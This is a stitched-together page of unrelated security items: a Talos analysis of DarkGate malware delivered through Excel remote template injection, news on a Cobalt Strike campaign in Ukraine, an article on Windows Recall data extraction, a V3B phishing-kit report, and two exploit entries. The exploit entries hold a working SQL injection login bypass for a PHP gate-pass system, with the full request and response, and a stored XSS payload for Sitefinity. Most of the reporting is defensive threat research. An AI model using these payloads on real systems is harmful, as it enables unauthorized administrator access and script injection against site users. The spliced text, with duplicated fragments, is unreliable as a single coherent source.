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This post was authored by Kalpesh Mantri. 

Cisco Talos is actively tracking a recent increase in activity from malicious email campaigns containing a suspicious Microsoft Excel attachment that, when opened, infected the victim's system with the DarkGate malware. 
These campaigns, active since the second week of

Wednesday, June 5, 2024 08:00

_This post was authored by Kalpesh Mantri._ 

*   Cisco Talos is actively tracking a recent increase in activity from malicious email campaigns containing a suspicious Microsoft Excel attachment that, when opened, infected the victim's system with the DarkGate malware. 
*   These campaigns, active since the second week of March, leverage tactics, techniques, and procedures (TTPs) that we have not previously observed in DarkGate attacks. 
*   These campaigns rely on a technique called “Remote Template Injection” to bypass email security controls and to deceive the user into downloading and executing malicious code when the Excel document is opened.  
*   DarkGate has used AutoIT scripts as part of the infection process for a long time. However, in these campaigns, AutoHotKey scripting was used instead of AutoIT.  
*   The final DarkGate payload is designed to execute in-memory, without ever being written to disk, running directly from within the AutoHotKey.exe process. 

The DarkGate malware family is distinguished by its covert spreading techniques, ability to steal information, evasion strategies, and widespread impact on both individuals and organizations. Recently, DarkGate has been observed distributing malware through Microsoft Teams and even via malvertising campaigns. Notably, in the latest campaign, AutoHotKey scripting was employed instead of AutoIT, indicating the continuous evolution of DarkGate actors in altering the infection chain to evade detection. 

**Email campaigns **

This research began when a considerable number of our clients reported receiving emails, each containing a Microsoft Excel file attachment that followed a distinct pattern in its naming convention. 

Talos’ intent analysis of these emails revealed that the primary purpose of the emails primarily pertained to financial or official matters, compelling the recipient to take an action by opening the attached document. 

This peculiar trend prompted us to conduct an in-depth investigation into this widespread malspam activity. Our initial findings linked the indicators of compromise (IOCs) to the DarkGate malware.  

The table below includes some of the observed changes in attachment naming convention patterns over time.  

End Date 

Format 

Examples 

March 12, 2024 

March 19, 2024 

march-D%-2024.xlsx 

march-D5676-2024.xlsx 

march-D3230-2024.xlsx 

march-D2091-2024.xlsx 

March 15, 2024 

March 20, 2024 

ACH-%March.xlsx 

ACH-5101-15March.xlsx 

ACH-5392-15March.xlsx 

ACH-4619-15March.xlsx 

March 18, 2024 

March 19, 2024 

attach#%-2024.xlsx 

attach#4919-18-03-2024.xlsx 

attach#8517-18-03-2024.xlsx 

attach#4339-18-03-2024.xlsx 

March 19, 2024 

March 20, 2024 

march19-D%-2024.xlsx 

march19-D3175-2024.xlsx 

march19-D5648-2024.xlsx 

march19-D8858-2024.xlsx 

March 26, 2024 

March 26, 2024 

re-march-26-2024-%.xls? 

re-march-26-2024-4187.xlsx 

re-march-26-2024-7964.xlsx 

re-march-26-2024-4187.xls 

April 3, 2024 

April 5, 2024 

april2024-%.xlsx 

april2024-2032.xlsx 

april2024-3378.xlsx 

april2024-4268.xlsx 

April 9, 2024 

April 9, 2024 

statapril2024-%.xlsx 

statapril2024-9505.xlsx 

statapril2024-9518.xlsx 

statapril2024-9524.xlsx 

April 10, 2024 

April 10, 2024 

4\_10\_AC-%.xlsx\* 

4\_10\_AC-1177.xlsx 

4\_10\_AC-1288.xlsx 

4\_10\_AC-1301.xlsx 

_\*Variant redirecting to JavaScript file instead of VBS._ 

**Victimology **

Based on Cisco Talos telemetry, this campaign targets the U.S. the most often compared to other geographic regions.

Healthcare technologies and telecommunications were the most-targeted sectors, but campaign activity was observed targeting a wide range of industries. 

**Technical analysis **

Our telemetry indicates that malspam emails were the primary source of delivery for this campaign. It is an active campaign using attached Excel documents attempting to lure users to download and execute remote payloads.  

As shown below, the Excel spreadsheet has an embedded object with an external link to an attacker-controlled Server Message Block (SMB) file share. 

The overall infection process associated with this campaign is shown below. 

The infection process begins when the malicious Excel document is opened. These files were specially crafted to utilize a technique, called “Remote Template Injection,” to trigger the automatic download and execution of malicious contents hosted on a remote server. 

Remote Template Injection is an attack technique that exploits a legitimate Excel functionality wherein templates can be imported from external sources to expand a document’s functions and features. By exploiting the inherent trust users place in document files, this method skilfully evades security protocols that may not be as stringent for document templates compared to executable files. It represents a refined tactic for attackers to establish a presence within a system, sidestepping the need for conventional executable malware.  

When the Excel file is opened, it downloads and executes a VBS file from an attacker-controlled server. 

The VBS file is appended with a command that executes a PowerShell script from the DarkGate command and control (C2) server. 

This PowerShell script retrieves the next stage’s components and executes them, as shown below. 

**Payload analysis **

On March 12, 2024, the DarkGate campaign transitioned from deploying AutoIT scripts to employing AutoHotKey scripts. 

AutoIT and AutoHotKey are scripting languages designed for automating tasks on Windows. While both languages serve similar purposes, their differences lie in their syntax complexity, feature sets and community resources. AutoHotKey offers more advanced text manipulation features, extensive support for hotkeys, and a vast library of user-contributed scripts for various purposes. While both AutoIT and AutoHotKey have legitimate purposes, they are often abused by adversaries to run malicious scripts, consistent with other scripting languages often observed in infection chains. 

As shown in the screenshot above, one of the files retrieved is ‘test.txt.’ Within this file, there is base64-encoded blob that, when decoded, transforms into binary data. This binary data is then processed to execute the DarkGate malware payload directly within memory on infected systems. 

As shown in the previous PowerShell code, payloads are initially saved to disk within a directory (C:\\rimz\\) on the system. The directory name changes across infection chains that were analyzed. 

In this case, the attacker was using a legitimate copy of the AutoHotKey binary (AutoHotKey.exe) to execute a malicious AHK script (script.ahk). 

The executed AHK script reads content from the text file (test.txt), decodes it in memory, and executes it without ever saving the decoded DarkGate payload to disk. This file also contains shellcode that is loaded and executed by the AHK script, as shown below. 

**Persistence mechanisms **

Components used during the final stage of the infection process are stored at the following directory location: 

*   C:\\ProgramData\\cccddcb\\AutoHotKey.exe 
*   C:\\ProgramData\\cccddcb\\hafbccc.ahk 
*   C:\\ProgramData\\cccddcb\\test.txt 

Persistence across reboots is established through the creation of a shortcut file within the Startup directory on the infected system. 

C:\\Users\\<USERNAME>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\DfAchhd.lnk 

C:\\ProgramData\\cccddcb\\AutoHotkey.exe  C:\\ProgramData\\cccddcb"C:\\ProgramData\\cccddcb\\hafbccc.ahk 

Talos’ threat intelligence and detection response teams have successfully developed detection for these campaigns and blocked them as appropriate on Cisco Secure products. However, because of the evolving nature of recent DarkGate campaigns — as demonstrated by the shift from AutoIT to AutoHotKey scripts and use of remote template injection — serves as a stark reminder of the continuous arms race in cybersecurity. 

**Coverage **

 Ways our customers can detect and block this threat are listed below.  

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.  

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.  

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The following Snort SIDs apply to this threat:  

*   **Snort 2 SIDs:** 3, 12, 11192, 13667, 15306, 16642, 19187, 23256, 23861, 44484, 44485, 44486, 44487, 44488, 63521, 63522, 63523, 63524 
*   **Snort 3 SIDs:** 1, 16, 260, 11192, 15306, 36376, 44484, 44486, 44488, 63521, 63522, 63523, 63524 

The following ClamAV detections are also available for this threat:  

*   Doc.Malware.DarkGateDoc 
*   Ps1.Malware.DarkGate-10030456-0 
*   Vbs.Malware.DarkGate-10030520-0 

**Indicators of Compromise (IOCs) **

Indicators of Compromise (IOCs) associated with this threat can be found here.  

Below is an example of the configuration parameters extracted from one of the DarkGate payloads analyzed.  

hxxp://badbutperfect\[.\]com 

hxxp://withupdate\[.\]com 

hxxp://irreceiver\[.\]com 

hxxp://backupitfirst\[.\]com 

hxxp://goingupdate\[.\]com 

hxxp://buassinnndm\[.\]net 

anti\_analysis = true 

anti\_debug = false 

anti\_vm = true 

c2\_port = 80 

internal\_mutex (Provides the XOR key/maker used for DarkGate payload decryption) = WZqqpfdY 

ping\_interval = 60 

startup\_persistence = true 

username = admin

DarkGate switches up its tactics with new payload, email templates

Beware Macro! Ukrainian users and cyberinfrastructure are being hit by a new malware campaign in which hackers are…

Beware Macro! Ukrainian users and cyberinfrastructure are being hit by a new malware campaign in which hackers are using a multi-stage malware strategy to deliver the Cobalt Strike.

A recent cyberattack targeting Microsoft Windows-based endpoints in Ukrainian has been discovered by Fortinet’s FortiGuard Labs where attackers leverage a malicious Excel file to deploy Cobalt Strike, a notorious tool used for post-exploitation activities. 

In this attack, an apparently harmless Excel file is embedded with a VBA (Visual Basic for Applications) macro, a scripting language used in Microsoft Office applications. The attacker uses a multi-stage malware strategy to deliver the “Cobalt Strike” payload and establish communication with a command and control server.

The malicious Excel document contains Ukrainian elements to lure users into enabling its macros. The macro deploys a HEX-encoded DLL downloader, which executes the DLL (Dynamic Link Library) file using a shell command.

The DLL file, also disguised as a harmless component, is the key to deploying Cobalt Strike. The downloader examines process names for specific strings related to analysis tools and antivirus software, terminates the program if it detects a matching process, and executes the decoded file using “rundll32.exe”.

As per FortiGuard Labs’s report, The DLL Injector, “ResetEngine.dll,” is responsible for decrypting and injecting the final payload. It uses “NtDelayExecution” to evade detection of malicious activities within sandboxes and then, it decrypts the final payload using an AES algorithm. The code then injects the decrypted data into itself and uses various APIs to execute the final Cobalt Strike.

For your information, Cobalt Strike is a powerful tool that allows attackers to gain a foothold within a compromised system, steal sensitive data, deploy additional malware, and establish network persistence.

Fortinet researchers discovered a geolocation check within the VBA code, ensuring the payload is only downloaded on systems located in Ukraine. This targeted approach indicates a well-orchestrated operation with a specific goal in mind.

Attack flow (FortiGuard Labs)

This isn’t the first time a malicious Excel file was used to target Ukraine in recent years due to the ongoing geopolitical situation. In 2022, FortiGuard Labs reported a campaign using a malicious Excel document to deliver a Cobalt Strike loader, while Ukraine’s Computer Emergency Response Team confirmed UAC-0057’s involvement in an attack using a malicious XLS file to deploy PicassoLoader and Cobalt Strike Beacon.

This recent attack further highlights the evolving tactics of cybercriminals and the importance of robust cybersecurity measures. Users should be cautious of enabling macros in Excel files, especially from unknown sources and use reliable endpoint security software that can detect and prevent malicious macros.

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Windows Recall takes a screenshot every five seconds. Cybersecurity researchers say the system is simple to abuse—and one ethical hacker has already built a tool to show how easy it really is.

When Microsoft CEO Satya Nadella revealed the new Windows AI tool that can answer questions about your web browsing and laptop use, he said one of the “magical” things about it was that the data doesn’t leave your laptop; the Windows Recall system takes screenshots of your activity every five seconds and saves them on the device. But security experts say that data may not stay there for long.

Two weeks ahead of Recall’s launch on new Copilot+ PCs on June 18, security researchers have demonstrated how preview versions of the tool store the screenshots in an unencrypted database. The researchers say the data could easily be hoovered up by an attacker. And now, in a warning about how Recall could be abused by criminal hackers, Alex Hagenah, a cybersecurity strategist and ethical hacker, has released a demo tool that can automatically extract and display everything Recall records on a laptop.

Dubbed TotalRecall—yes, after the 1990 sci-fi film—the tool can pull all the information that Recall saves into its main database on a Windows laptop. “The database is unencrypted. It’s all plain text,” Hagenah says.⁩ Since Microsoft revealed Recall in mid-May, security researchers have repeatedly compared it to spyware or stalkerware that can track everything you do on your device. “It’s a Trojan 2.0 really, built in,” Hagenah says, adding that he built TotalRecall—which he’s releasing on GitHub—in order to show what is possible and to encourage Microsoft to make changes before Recall fully launches.

The company unveiled Recall as part of a Surface laptop event last month. The tool continuously takes screenshots of whatever’s happening on your PC. Recall is intended to allow people to “retrieve” things you’ve done on your machine—whether it’s web pages you’ve visited or messages you’ve been sent—using natural language search queries. Microsoft’s description of the tool says Recall could be used to search for recipes you’ve looked at online but whose websites you’ve forgotten.

TotalRecall, Hagenah says, can automatically work out where the Recall database is on a laptop and then make a copy of the file, parsing all the data as it does so. While Microsoft’s new Copilot+ PCs aren’t out yet, it’s possible to use Recall by emulating a version of the devices. “It does everything automatically,” he says. The system can set a date range for extracting the data—for instance, pulling information from only one specific week or day. Pulling one day of screenshots from Recall, which stores its information in an SQLite database, took two seconds at most, Hagenah⁩ says.

Included in what the database captures are screenshots of whatever is on your desktop—a potential gold mine for criminal hackers or domestic abusers who may physically access their victim’s device. Images include captures of messages sent on encrypted messaging apps Signal and WhatsApp, and remain in the captures regardless of whether disappearing messages are turned on in the apps. There are records of websites visited and every bit of text displayed on the PC. Once TotalRecall has been deployed, it will generate a summary about the data; it is also possible to search for specific terms in the database.

Hagenah⁩ says an attacker could get a huge amount of information about their target, including insights into their emails, personal conversations, and any sensitive information that’s captured by Recall.

Hagenah’s work builds on findings from cybersecurity researcher Kevin Beaumont, who has detailed how much information Recall captures and how easy it can be to extract it. Beaumont also says he has built a website where a Recall database can be uploaded and instantly searched. He says he hasn’t released the site yet, to allow Microsoft time to potentially change the system. “InfoStealer trojans, which automatically steal usernames and passwords, are a major problem for well over a decade—now these can just be easily modified to support Recall,” Beaumont writes.

The criticisms come as hacks of Microsoft systems have led to various US government data breaches; Nadella has said security should be Microsoft’s “top priority.” Microsoft did not respond to WIRED’s request for comment about the security features of Recall by the time of publication.

Recall’s privacy pages say it is possible to disable saving screenshots (effectively turning Recall off), pause the system temporarily, filter applications where screenshots are taken, and delete what is gathered at any time. Recall runs on the laptop itself, storing data it captures on the device and not sending this information to Microsoft’s servers. Hagenah⁩ says this claim appears to be true, with no signs that data is sent to Microsoft.

Microsoft is, at least, aware of some of the possible privacy and security-related issues with Recall: Its help pages say the system does not perform any content moderation on what is contained in the images it saves. This means, Microsoft says in the guide, that it won’t “hide information such as passwords or financial account numbers.” Security researchers have already been able to extract passwords from Recall.

Recall’s main database is stored on the laptop’s system directory, and while it needs administrator rights to access, privilege escalation attacks have been around for years, making it theoretically possible for an attacker to gain initial access to a device remotely.

Hagenah⁩ says that in cases of employers with “bring your own devices” policies, there’s a risk of someone leaving with huge volumes of company data saved on their laptops. That’s a particular risk if they’re disgruntled or leave on bad terms, he says. The UK’s data protection regulator, the Information Commissioner’s Office, has asked Microsoft to provide more details about Recall and its privacy.

While Recall remains as a “preview” feature and, according to Microsoft’s small print, could change before it launches, Beaumont writes in his research that the company “should recall Recall and rework it to be the feature it deserves to be, delivered at a later date.” He adds: “They also need to review the internal decisionmaking that led to this situation, as this kind of thing should not happen.”

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Employee and Visitor Gate Pass Logging System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    # Exploit Title: Employee and Visitor Gate Pass Logging System - SQLi Authentication Bypass# Date: 29.05.2024# Exploit Author: Furkan Eren Tetik# Vendor Homepage: https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=15026&title=Employee+and+Visitor+Gate+Pass+Logging+System+in+PHP+with+Source+Code# Version: 1.0# Tested on: Windows 11, Kali Linux# Employee and Visitor Gate Pass Logging System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.Steps To Reproduce:1 - Go to the login page http://localhost/employee_gatepass/admin/login.php2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.3 - Click on "Login" button and you are logged in as administrator.PoCRequestPOST /employee_gatepass/classes/Login.php?f=login HTTP/1.1Host: localhostContent-Length: 43sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/employee_gatepass/admin/login.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9f8v4097jovtf6a3igi4l6479iConnection: closeusername=admin'+or+'1'%3D'1&password=furkan--------------------------------------------------------------------------------------------------------------------------------responseHTTP/1.1 200 OKDate: Wed, 29 May 2024 17:01:26 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30X-Powered-By: PHP/8.0.30Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Content-Length: 20Connection: closeContent-Type: text/html; charset=UTF-8{"status":"success"}

Employee And Visitor Gate Pass Logging System 1.0 SQL Injection

Sitefinity version 15.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Sitefinity 15.0 - Cross-Site Scripting (XSS)# Date: 2023-12-05# Exploit Author: Aldi Saputra Wahyudi# Vendor Homepage: https://www.progress.com/sitefinity-cms# Version: < 15.0.0# Tested on: Windows/Linux# CVE : CVE-2023-27636# Description: In the backend of the Sitefinity CMS, a Cross-site scripting vulnerability has been discovered in all features that use SF-Editor# Steps To Reproduce:Attacker as lower privilegeVictim as Higher privilege1. Login as an Attacker2. Go to the function using the SF Editor, go to the news page as example3. Create or Edit news item4. On the content form, insert the XSS payload as HTML5. After the payload is inserted, click on the content form (just click) and publish or save6. If the victim visits the page with XSS payload, XSS will be triggeredPayload: <noalert><iframe src="javascript:alert(document.domain);">

Sitefinity 15.0 Cross Site Scripting

By Deeba Ahmed
New phishing kit targets European bank users! Protect yourself from V3B attacks designed to steal your logins and…
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New phishing kit targets European bank users! Protect yourself from V3B attacks designed to steal your logins and one-time passwords (OTPs). Learn how to spot these scams and keep your finances safe.

Cybercriminals are constantly developing new tactics to steal financial information from unsuspecting victims. A recent report by cybersecurity firm Resecurity highlights a dangerous new threat – the V3B phishing kit – specifically targeting European banking customers.

****What is a Phishing Kit?****

These are pre-made toolkits readily available on the dark web, allowing even novice cybercriminals to launch sophisticated phishing attacks by providing pre-designed email templates, fake login pages, and even malware.

****The V3B Phishing Threat****

According to Resecurity, a cybercriminal group is selling a sophisticated **phishing kit** called “V3B” on Telegram. A group member, using the alias “Vssrtje,” launched operations in March 2023, and the kit is priced between $130-$450 per month.

It has already attracted over 1,255 skilled cybercriminals specializing in fraud, including social engineering, SIM swapping schemes, and banking and credit card fraud. V3B supports targeted attacks on over 54 EU (European Union) financial institutions including the following:

*   **Italy**
*   **Ireland**
*   **Austria**
*   **France**
*   **Finland**
*   **Greece**
*   **Belgium**
*   **Germany**
*   **Netherlands**
*   **Luxembourg**

****Key Features****

The kit can intercept sensitive information, including credentials and OTP (one-time password) codes, using social engineering tactics. It has two components: a scenario-based credential interception system (V3B) and online banking authorization pages. 

Built on a customized CMS, the kit features templates in multiple languages, including Finnish, French, and German, mimicking the authentication and verification processes of the EU’s online banking and e-commerce systems. In addition, it has advanced features like updated tokens, anti-bot measures, mobile and desktop interfaces, live chat, and OTP/TAN/2FA support. 

Through real-time interaction with victims, the kit allows fraudsters to orchestrate specific actions, gain unauthorized access, or facilitate fraudulent transactions. It triggers a request for QR Code, a new twist on QR code phishing, using a browser extension to grab codes from a service’s site and pipe them to a phishing site. The kit also uses PhotoTAN and Smart ID support, a popular method of authentication for mobile banking, to manipulate the victim’s actions.

****How to Stay Safe?****

To protect yourself from V3B phishing attacks, verify the sender’s email address carefully, avoid entering information on unfamiliar websites, and enable multi-factor authentication (**MFA**) as an extra layer of security. Staying vigilant and following these security best practices can significantly reduce your chances of falling victim to V3B phishing attacks or similar scams.

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